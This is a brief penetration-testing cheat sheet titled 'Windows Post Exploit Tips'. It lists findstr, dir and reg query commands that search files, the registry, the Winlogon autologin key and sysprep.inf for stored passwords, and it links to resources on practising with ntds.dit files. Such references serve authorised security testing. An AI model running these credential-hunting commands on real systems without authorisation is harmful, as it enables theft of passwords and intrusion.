Windows Post Exploit Tips

findstr /si password *.txt

findstr /si password *.xml

dir /s *pass* == *cred* == *vnc* == *.config*

findstr /spin "password" *.*

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

findstr /si password *.ini

dir /b /s sysprep.inf

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" (Windows Autologin)

https://pentestlab.blog/tag/password/ 

Practice on ntds.dit file

https://blog.didierstevens.com/2016/07/25/practice-ntds-dit-file-overview/

Huge thanks to Didier Stevens for this